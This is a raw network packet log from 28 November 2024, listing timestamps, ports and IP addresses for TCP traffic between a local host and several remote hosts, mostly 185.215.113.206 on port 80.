Nov 28, 2024 00:19:43.505337000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.505707026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.505718946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.505748034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.505769014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.506731987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.506825924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.506905079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.506947994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.507843971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.507903099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.507996082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.508112907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.508989096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.509052992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.509078979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.509121895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.510118961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.510169029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.510179043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.510238886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.511239052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.511251926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.511303902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.512389898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.512439966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.512459993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.512500048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.513551950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.513562918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.513591051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.513617039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.514666080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.514676094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.514727116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.514753103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.515832901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.515845060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.515886068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.516971111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.516983032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.517033100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.518050909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.518085957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.518275023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.518309116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.519192934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.519210100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.519258976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.520282030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.520329952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.520659924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.520698071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.521408081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.521471024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.521730900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.521778107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.522567034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.522620916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.522792101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.522833109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.523714066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.523729086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.523755074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.523777962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.619174957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.619234085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.619256973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.619297028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.619750023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.619800091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.619836092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.619920015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.620867014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.620946884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.621025085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.621118069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.621999025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.622042894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.622263908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.622301102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.623128891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.623167992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.623254061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.623290062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.624259949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.624310970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.624408960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.624865055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.625391006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.625704050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.625950098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.626076937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.626528978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.626636028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.626718044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.627233982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.627666950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.627726078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.627871990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.627909899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.628806114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.628860950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.628864050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.628905058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.629967928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.630028963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.630155087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.630433083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.631078005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.631124020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.631192923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.631228924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.632190943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.632236004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.632239103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.632272959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.632360935 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.632968903 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.632991076 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.633326054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.633363962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.633443117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.633479118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.634466887 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.634526014 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.634567976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.634579897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.634617090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.634890079 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.634963036 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.635647058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.635658979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.635694027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.636699915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.636745930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.636917114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.636955023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.637895107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.637964010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.638000011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.638039112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.638979912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.639065027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.639069080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.639105082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.640132904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.640177965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.640470028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.640511990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.641235113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.641280890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.641366005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.641403913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.642388105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.642441988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.642637014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.642839909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.643517017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.643579006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.643719912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.643757105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.644664049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.644723892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.644742012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.644779921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.645792007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.645842075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.646023989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.646064043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.646939993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.647007942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.647085905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.647197008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.648045063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.648088932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.648175955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.648215055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.669400930 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669430017 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.669488907 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669542074 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669570923 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.669653893 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669661999 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.669677019 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669706106 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669787884 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669795036 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.669837952 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669900894 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.669909954 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.669949055 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670030117 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670037031 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.670213938 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670231104 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.670238972 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670331955 CET	49855	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670342922 CET	443	49855	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.670434952 CET	49854	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670444965 CET	443	49854	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.670516968 CET	49856	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670528889 CET	443	49856	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.670610905 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670624018 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.670712948 CET	49858	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:43.670727015 CET	443	49858	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:43.675889015 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.675896883 CET	443	49845	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.705149889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.705224037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.705256939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.705416918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.705683947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.705733061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.705835104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.706001043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.706849098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.706860065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.706891060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.706926107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.707973957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.708012104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.708029032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.708048105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.708103895 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.708925009 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.708939075 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.708945036 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.709080935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.709129095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.709161997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.709191084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.709673882 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.709682941 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.709990025 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.710050106 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.710335970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.710392952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.710483074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.710517883 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.710534096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.710592031 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.710856915 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.710915089 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.711412907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.711436987 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.711460114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.711527109 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.711580038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.711623907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.712587118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.712644100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.712668896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.712738037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.713637114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.713670015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.713721037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.713756084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.714755058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.714791059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.714858055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.714898109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.715897083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.715966940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.716005087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.717118025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.717128038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.717168093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.718157053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.718167067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.718206882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.718235016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.718503952 CET	49845	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.719295979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.719307899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.719330072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.719350100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.720432043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.720443010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.720488071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.721534014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.721591949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.721766949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.722151995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.722681999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.722692013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.722738981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.723834038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.723850012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.723908901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.723908901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.725008965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.725020885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.725048065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.725064039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.726073980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.726114035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.726401091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.726442099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.727210045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.727247000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.727329969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.727364063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.728343010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.728387117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.728543043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.728777885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.729475021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.729512930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.729618073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.729752064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.730635881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.730648041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.730689049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.730731010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.731718063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.731789112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.731823921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.731858969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.732985020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.732996941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.733026981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.733047962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.734002113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.734057903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.734139919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.734178066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.758508921 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.758524895 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.758532047 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.758532047 CET	443	49848	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:43.813102961 CET	49848	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.814804077 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:43.822895050 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.822962999 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.823009014 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.823468924 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.823484898 CET	443	49842	13.107.246.63	192.168.2.6
